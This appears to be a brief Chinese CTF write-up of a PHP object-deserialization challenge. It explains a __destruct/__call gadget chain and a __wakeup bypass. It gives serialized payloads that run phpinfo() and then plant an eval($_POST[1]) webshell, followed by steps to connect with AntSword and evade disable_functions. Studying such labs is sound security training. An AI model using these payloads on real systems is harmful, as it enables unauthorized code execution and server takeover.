1.打开环境,审计代码。
思路是先建一个类B,调用__destruct,使a为A类,调用__call魔术方法。
_call//在类中调用不存在时调用此函数。
再者是_wake up的绕过,这里有intval函数(返回数据整数部分)的过滤,所以考虑添加真实属性的个数来绕过。
payload:
?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
查看phpinfo发现函数禁用了system函数,无法用命令getshell,所以考虑用eval函数,先用蚁剑连接,再用饶过disabled_func的插件绕过。
payload:
?poc=O:1:%22B%22:1:{s:1:%22a%22;O:1:%22A%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}s:1:%22n%22:N;}